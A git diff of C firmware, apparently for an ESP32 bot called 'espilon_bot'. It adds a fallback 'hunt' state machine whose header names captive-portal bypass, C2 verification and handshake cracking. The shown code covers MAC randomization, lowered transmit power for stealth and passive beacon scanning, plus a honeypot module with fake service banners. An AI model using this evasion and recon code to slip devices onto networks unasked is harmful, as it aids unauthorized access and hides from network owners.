||||
return st;
|
||||
}
|
||||
|
||||
bool fb_hunt_is_active(void)
|
||||
{
|
||||
return s_active;
|
||||
}
|
||||
|
||||
const char *fb_hunt_connected_ssid(void)
|
||||
{
|
||||
static char ssid_copy[33];
|
||||
state_lock();
|
||||
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
|
||||
state_unlock();
|
||||
return ssid_copy;
|
||||
}
|
||||
|
||||
const char *fb_hunt_connected_method(void)
|
||||
{
|
||||
static char method_copy[16];
|
||||
state_lock();
|
||||
memcpy(method_copy, s_connected_method, sizeof(method_copy));
|
||||
state_unlock();
|
||||
return method_copy;
|
||||
}
|
||||
|
||||
void fb_hunt_init(void)
|
||||
{
|
||||
if (!s_state_mutex) {
|
||||
s_state_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
if (!s_evt_group) {
|
||||
s_evt_group = xEventGroupCreate();
|
||||
}
|
||||
ESP_LOGI(TAG, "Hunt init done");
|
||||
}
|
||||
|
||||
void fb_hunt_set_skip_gprs(bool skip)
|
||||
{
|
||||
s_skip_gprs = skip;
|
||||
}
|
||||
|
||||
void fb_hunt_trigger(void)
|
||||
{
|
||||
if (s_active) {
|
||||
ESP_LOGW(TAG, "Hunt already active");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Ensure init (safety net if called before register_commands) */
|
||||
fb_hunt_init();
|
||||
|
||||
s_skip_gprs = false; /* Reset per-hunt */
|
||||
s_active = true;
|
||||
|
||||
state_lock();
|
||||
s_state = FB_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
hunt_task,
|
||||
"fb_hunt",
|
||||
FB_HUNT_STACK,
|
||||
NULL,
|
||||
FB_HUNT_PRIO,
|
||||
&s_task_handle,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create hunt task");
|
||||
s_active = false;
|
||||
}
|
||||
}
|
||||
|
||||
void fb_hunt_stop(void)
|
||||
{
|
||||
if (!s_active) return;
|
||||
|
||||
s_active = false;
|
||||
|
||||
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
/* Only reset state if task actually exited */
|
||||
if (s_task_handle == NULL) {
|
||||
state_lock();
|
||||
s_state = FB_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
} else {
|
||||
ESP_LOGW(TAG, "Hunt task did not exit in time");
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Hunt stopped");
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
65
espilon_bot/components/mod_fallback/fb_hunt.h
Normal file
65
espilon_bot/components/mod_fallback/fb_hunt.h
Normal file
@ -0,0 +1,65 @@
|
||||
/*
|
||||
* fb_hunt.h
|
||||
* Fallback hunt state machine — autonomous network recovery.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Hunt states
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
FB_IDLE,
|
||||
FB_STEALTH_PREP,
|
||||
FB_PASSIVE_SCAN,
|
||||
FB_TRYING_KNOWN,
|
||||
FB_TRYING_OPEN,
|
||||
FB_PORTAL_CHECK,
|
||||
FB_PORTAL_BYPASS,
|
||||
FB_C2_VERIFY,
|
||||
FB_HANDSHAKE_CRACK,
|
||||
FB_GPRS_DIRECT,
|
||||
FB_CONNECTED,
|
||||
} fb_state_t;
|
||||
|
||||
/* ============================================================
|
||||
* API
|
||||
* ============================================================ */
|
||||
|
||||
/* Trigger the hunt (start the state machine task if not running).
|
||||
* Called automatically by WiFi.c on TCP failure. */
|
||||
void fb_hunt_trigger(void);
|
||||
|
||||
/* Stop the hunt, restore original WiFi + MAC + TX power. */
|
||||
void fb_hunt_stop(void);
|
||||
|
||||
/* Get current state. */
|
||||
fb_state_t fb_hunt_get_state(void);
|
||||
|
||||
/* Get state name as string. */
|
||||
const char *fb_hunt_state_name(fb_state_t state);
|
||||
|
||||
/* Is the hunt task currently running? */
|
||||
bool fb_hunt_is_active(void);
|
||||
|
||||
/* Get the SSID we connected to (empty if none). */
|
||||
const char *fb_hunt_connected_ssid(void);
|
||||
|
||||
/* Get the method used to connect (e.g. "known", "open", "handshake", "gprs"). */
|
||||
const char *fb_hunt_connected_method(void);
|
||||
|
||||
/* Init mutex and event group (call from register_commands). */
|
||||
void fb_hunt_init(void);
|
||||
|
||||
/* Skip GPRS strategy in hunt (set by gprs_client_task to avoid loop). */
|
||||
void fb_hunt_set_skip_gprs(bool skip);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
253
espilon_bot/components/mod_fallback/fb_stealth.c
Normal file
253
espilon_bot/components/mod_fallback/fb_stealth.c
Normal file
@ -0,0 +1,253 @@
|
||||
/*
|
||||
* fb_stealth.c
|
||||
* OPSEC: MAC randomization, TX power control, passive scan.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_stealth.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
static const char *TAG = "FB_STEALTH";
|
||||
|
||||
/* ============================================================
|
||||
* MAC randomization
|
||||
* ============================================================ */
|
||||
|
||||
static uint8_t s_orig_mac[6] = {0};
|
||||
static bool s_mac_saved = false;
|
||||
|
||||
void fb_stealth_save_original_mac(void)
|
||||
{
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
|
||||
s_mac_saved = true;
|
||||
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_randomize_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
esp_fill_random(mac, 6);
|
||||
mac[0] &= 0xFE; /* unicast */
|
||||
mac[0] |= 0x02; /* locally administered */
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
|
||||
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_restore_mac(void)
|
||||
{
|
||||
if (s_mac_saved) {
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
|
||||
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6])
|
||||
{
|
||||
esp_wifi_get_mac(WIFI_IF_STA, mac);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* TX power control
|
||||
* ============================================================ */
|
||||
|
||||
void fb_stealth_low_tx_power(void)
|
||||
{
|
||||
esp_err_t err = esp_wifi_set_max_tx_power(32); /* 8 dBm */
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
|
||||
} else {
|
||||
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_restore_tx_power(void)
|
||||
{
|
||||
esp_wifi_set_max_tx_power(80); /* 20 dBm */
|
||||
ESP_LOGI(TAG, "TX power restored to 20 dBm");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Passive scan — promiscuous mode beacon capture
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
unsigned frame_ctrl:16;
|
||||
unsigned duration_id:16;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
unsigned seq_ctrl:16;
|
||||
} __attribute__((packed)) wifi_mgmt_hdr_t;
|
||||
|
||||
#define BEACON_FIXED_LEN 12
|
||||
|
||||
static fb_scan_ap_t s_scan_results[FB_MAX_SCAN_APS];
|
||||
static volatile int s_scan_count = 0;
|
||||
|
||||
static int find_bssid(const uint8_t bssid[6])
|
||||
{
|
||||
for (int i = 0; i < s_scan_count; i++) {
|
||||
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (type != WIFI_PKT_MGMT) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
|
||||
|
||||
uint16_t fc = hdr->frame_ctrl;
|
||||
uint8_t subtype = (fc >> 4) & 0x0F;
|
||||
if (subtype != 8 && subtype != 5) return; /* beacon or probe_resp */
|
||||
|
||||
const uint8_t *bssid = hdr->addr3;
|
||||
|
||||
int idx = find_bssid(bssid);
|
||||
if (idx >= 0) {
|
||||
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
|
||||
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (s_scan_count >= FB_MAX_SCAN_APS) return;
|
||||
|
||||
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
|
||||
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
|
||||
|
||||
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
|
||||
return;
|
||||
|
||||
const uint8_t *body = pkt->payload + body_offset;
|
||||
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
|
||||
if (body_len > 4) body_len -= 4;
|
||||
|
||||
fb_scan_ap_t *ap = &s_scan_results[s_scan_count];
|
||||
memset(ap, 0, sizeof(*ap));
|
||||
memcpy(ap->bssid, bssid, 6);
|
||||
ap->rssi = pkt->rx_ctrl.rssi;
|
||||
ap->channel = pkt->rx_ctrl.channel;
|
||||
ap->auth_mode = 0;
|
||||
|
||||
size_t pos = 0;
|
||||
while (pos + 2 <= body_len) {
|
||||
uint8_t tag_id = body[pos];
|
||||
uint8_t tag_len = body[pos + 1];
|
||||
|
||||
if (pos + 2 + tag_len > body_len) break;
|
||||
|
||||
if (tag_id == 0) {
|
||||
size_t ssid_len = tag_len;
|
||||
if (ssid_len > 32) ssid_len = 32;
|
||||
memcpy(ap->ssid, body + pos + 2, ssid_len);
|
||||
ap->ssid[ssid_len] = '\0';
|
||||
} else if (tag_id == 48) {
|
||||
ap->auth_mode = 3;
|
||||
} else if (tag_id == 221) {
|
||||
if (tag_len >= 4 &&
|
||||
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
|
||||
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
|
||||
if (ap->auth_mode == 0) ap->auth_mode = 2;
|
||||
}
|
||||
}
|
||||
|
||||
pos += 2 + tag_len;
|
||||
}
|
||||
|
||||
s_scan_count++;
|
||||
}
|
||||
|
||||
int fb_stealth_passive_scan(int duration_ms)
|
||||
{
|
||||
s_scan_count = 0;
|
||||
memset(s_scan_results, 0, sizeof(s_scan_results));
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ret = esp_wifi_set_promiscuous(true);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
|
||||
|
||||
int channels = 13;
|
||||
int hop_ms = 200;
|
||||
int elapsed = 0;
|
||||
|
||||
while (elapsed < duration_ms) {
|
||||
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
|
||||
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
|
||||
vTaskDelay(pdMS_TO_TICKS(hop_ms));
|
||||
elapsed += hop_ms;
|
||||
}
|
||||
}
|
||||
|
||||
esp_wifi_set_promiscuous(false);
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
|
||||
return s_scan_count;
|
||||
}
|
||||
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count)
|
||||
{
|
||||
int count = s_scan_count;
|
||||
if (count > max_count) count = max_count;
|
||||
memcpy(out, s_scan_results, count * sizeof(fb_scan_ap_t));
|
||||
return count;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK — empty stubs */
|
||||
|
||||
#include <string.h>
|
||||
|
||||
void fb_stealth_save_original_mac(void) {}
|
||||
void fb_stealth_randomize_mac(void) {}
|
||||
void fb_stealth_restore_mac(void) {}
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
|
||||
void fb_stealth_low_tx_power(void) {}
|
||||
void fb_stealth_restore_tx_power(void) {}
|
||||
int fb_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
37
espilon_bot/components/mod_fallback/fb_stealth.h
Normal file
37
espilon_bot/components/mod_fallback/fb_stealth.h
Normal file
@ -0,0 +1,37 @@
|
||||
/*
|
||||
* fb_stealth.h
|
||||
* OPSEC: MAC randomization, TX power control, passive scanning.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void fb_stealth_save_original_mac(void);
|
||||
void fb_stealth_randomize_mac(void);
|
||||
void fb_stealth_restore_mac(void);
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6]);
|
||||
void fb_stealth_low_tx_power(void);
|
||||
void fb_stealth_restore_tx_power(void);
|
||||
|
||||
int fb_stealth_passive_scan(int duration_ms);
|
||||
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
|
||||
} fb_scan_ap_t;
|
||||
|
||||
#define FB_MAX_SCAN_APS 32
|
||||
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
6
espilon_bot/components/mod_honeypot/CMakeLists.txt
Normal file
6
espilon_bot/components/mod_honeypot/CMakeLists.txt
Normal file
@ -0,0 +1,6 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_honeypot.c hp_config.c hp_tcp_services.c hp_wifi_monitor.c hp_net_monitor.c
|
||||
services/svc_ssh.c services/svc_telnet.c services/svc_http.c services/svc_ftp.c
|
||||
INCLUDE_DIRS . services
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos
|
||||
)
|
||||
308
espilon_bot/components/mod_honeypot/cmd_honeypot.c
Normal file
308
espilon_bot/components/mod_honeypot/cmd_honeypot.c
Normal file
@ -0,0 +1,308 @@
|
||||
/*
|
||||
* cmd_honeypot.c
|
||||
* Honeypot command registration and dispatch.
|
||||
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
|
||||
*
|
||||
* Commands (8 total, fits within 32-command budget):
|
||||
* hp_svc <service> <start|stop|status>
|
||||
* hp_wifi <start|stop|status>
|
||||
* hp_net <start|stop|status>
|
||||
* hp_config_set <type> <key> <value>
|
||||
* hp_config_get <type> <key>
|
||||
* hp_config_list [type]
|
||||
* hp_config_reset
|
||||
* hp_status
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include "hp_config.h"
|
||||
#include "hp_tcp_services.h"
|
||||
#include "hp_wifi_monitor.h"
|
||||
#include "hp_net_monitor.h"
|
||||
|
||||
#define TAG "HONEYPOT"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_svc <service> <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_svc(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *svc_name = argv[0];
|
||||
const char *action = argv[1];
|
||||
|
||||
int id = hp_svc_name_to_id(svc_name);
|
||||
if (id < 0) {
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "error=unknown_service service=%s", svc_name);
|
||||
msg_error(TAG, buf, req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_svc_start((hp_svc_id_t)id);
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "service=%s action=started", svc_name);
|
||||
msg_info(TAG, buf, req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_svc_stop((hp_svc_id_t)id);
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "service=%s action=stopped", svc_name);
|
||||
msg_info(TAG, buf, req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_svc_status((hp_svc_id_t)id, buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_wifi <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_wifi(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *action = argv[0];
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_wifi_monitor_start();
|
||||
msg_info(TAG, "wifi_monitor=started", req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_wifi_monitor_stop();
|
||||
msg_info(TAG, "wifi_monitor=stopped", req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_wifi_monitor_status(buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_net <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_net(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *action = argv[0];
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_net_monitor_start();
|
||||
msg_info(TAG, "net_monitor=started", req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_net_monitor_stop();
|
||||
msg_info(TAG, "net_monitor=stopped", req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_net_monitor_status(buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_set <type> <key> <value>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_set(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *type = argv[0];
|
||||
const char *key = argv[1];
|
||||
const char *value = argv[2];
|
||||
|
||||
esp_err_t err;
|
||||
if (strcmp(type, "banner") == 0) {
|
||||
err = hp_config_set_banner(key, value);
|
||||
} else if (strcmp(type, "threshold") == 0) {
|
||||
err = hp_config_set_threshold(key, atoi(value));
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
if (err == ESP_OK) {
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "config_set=%s.%s value=%s", type, key, value);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=config_set_failed", req);
|
||||
}
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_get <type> <key>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_get(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *type = argv[0];
|
||||
const char *key = argv[1];
|
||||
|
||||
char buf[256];
|
||||
if (strcmp(type, "banner") == 0) {
|
||||
char val[128];
|
||||
hp_config_get_banner(key, val, sizeof(val));
|
||||
/* Strip newlines for display */
|
||||
for (char *p = val; *p; p++) {
|
||||
if (*p == '\r' || *p == '\n') { *p = '\0'; break; }
|
||||
}
|
||||
snprintf(buf, sizeof(buf), "banner_%s=%s", key, val);
|
||||
} else if (strcmp(type, "threshold") == 0) {
|
||||
int val = hp_config_get_threshold(key);
|
||||
snprintf(buf, sizeof(buf), "threshold_%s=%d", key, val);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_list [type]
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_list(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *filter = (argc > 0) ? argv[0] : "";
|
||||
|
||||
char buf[512];
|
||||
hp_config_list(filter, buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_reset
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_reset(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
esp_err_t err = hp_config_reset_all();
|
||||
if (err == ESP_OK)
|
||||
msg_info(TAG, "config=reset_to_defaults", req);
|
||||
else
|
||||
msg_error(TAG, "error=config_reset_failed", req);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_status
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_status(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
char buf[512];
|
||||
int off = 0;
|
||||
|
||||
/* Services */
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++) {
|
||||
off += snprintf(buf + off, sizeof(buf) - off, "%s=%s ",
|
||||
hp_svc_id_to_name((hp_svc_id_t)i),
|
||||
hp_svc_running((hp_svc_id_t)i) ? "up" : "down");
|
||||
}
|
||||
|
||||
/* Monitors */
|
||||
off += snprintf(buf + off, sizeof(buf) - off, "wifi_mon=%s net_mon=%s",
|
||||
hp_wifi_monitor_running() ? "up" : "down",
|
||||
hp_net_monitor_running() ? "up" : "down");
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_start_all — start all services + monitors
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_start_all(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++)
|
||||
hp_svc_start((hp_svc_id_t)i);
|
||||
hp_wifi_monitor_start();
|
||||
hp_net_monitor_start();
|
||||
|
||||
msg_info(TAG, "all=started", req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_stop_all — stop all services + monitors
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_stop_all(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++)
|
||||
hp_svc_stop((hp_svc_id_t)i);
|
||||
hp_wifi_monitor_stop();
|
||||
hp_net_monitor_stop();
|
||||
|
||||
msg_info(TAG, "all=stopped", req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t hp_cmds[] = {
|
||||
{ "hp_svc", NULL, "Service control", 2, 2, cmd_hp_svc, NULL, false },
|
||||
{ "hp_wifi", NULL, "WiFi monitor", 1, 1, cmd_hp_wifi, NULL, false },
|
||||
{ "hp_net", NULL, "Network monitor", 1, 1, cmd_hp_net, NULL, false },
|
||||
{ "hp_config_set", NULL, "Set config", 3, 3, cmd_hp_config_set, NULL, false },
|
||||
{ "hp_config_get", NULL, "Get config", 2, 2, cmd_hp_config_get, NULL, false },
|
||||
{ "hp_config_list", NULL, "List config", 0, 1, cmd_hp_config_list, NULL, false },
|
||||
{ "hp_config_reset", NULL, "Reset config", 0, 0, cmd_hp_config_reset, NULL, false },
|
||||
{ "hp_status", NULL, "Honeypot status", 0, 0, cmd_hp_status, NULL, false },
|
||||
{ "hp_start_all", NULL, "Start all services", 0, 0, cmd_hp_start_all, NULL, false },
|
||||
{ "hp_stop_all", NULL, "Stop all services", 0, 0, cmd_hp_stop_all, NULL, false },
|
||||
};
|
||||
|
||||
void mod_honeypot_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering honeypot commands");
|
||||
|
||||
hp_config_init();
|
||||
|
||||
for (size_t i = 0; i < sizeof(hp_cmds) / sizeof(hp_cmds[0]); i++) {
|
||||
command_register(&hp_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
8
espilon_bot/components/mod_honeypot/cmd_honeypot.h
Normal file
8
espilon_bot/components/mod_honeypot/cmd_honeypot.h
Normal file
@ -0,0 +1,8 @@
|
||||
/*
|
||||
* cmd_honeypot.h
|
||||
* Honeypot module public API.
|
||||
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_honeypot_register_commands(void);
|
||||
204
espilon_bot/components/mod_honeypot/hp_config.c
Normal file
204
espilon_bot/components/mod_honeypot/hp_config.c
Normal file
@ -0,0 +1,204 @@
|
||||
/*
|
||||
* hp_config.c
|
||||
* NVS-backed runtime configuration for honeypot services.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "hp_config.h"
|
||||
|
||||
#define TAG "HP_CFG"
|
||||
#define NVS_NS "hp_cfg"
|
||||
|
||||
/* ============================================================
|
||||
* Default banners
|
||||
* ============================================================ */
|
||||
static const struct {
|
||||
const char *service;
|
||||
const char *banner;
|
||||
} default_banners[] = {
|
||||
{ "ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n" },
|
||||
{ "telnet", "\r\nUbuntu 22.04.3 LTS\r\nlogin: " },
|
||||
{ "ftp", "220 ProFTPD 1.3.5e Server (Debian)\r\n" },
|
||||
{ "http", "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" },
|
||||
};
|
||||
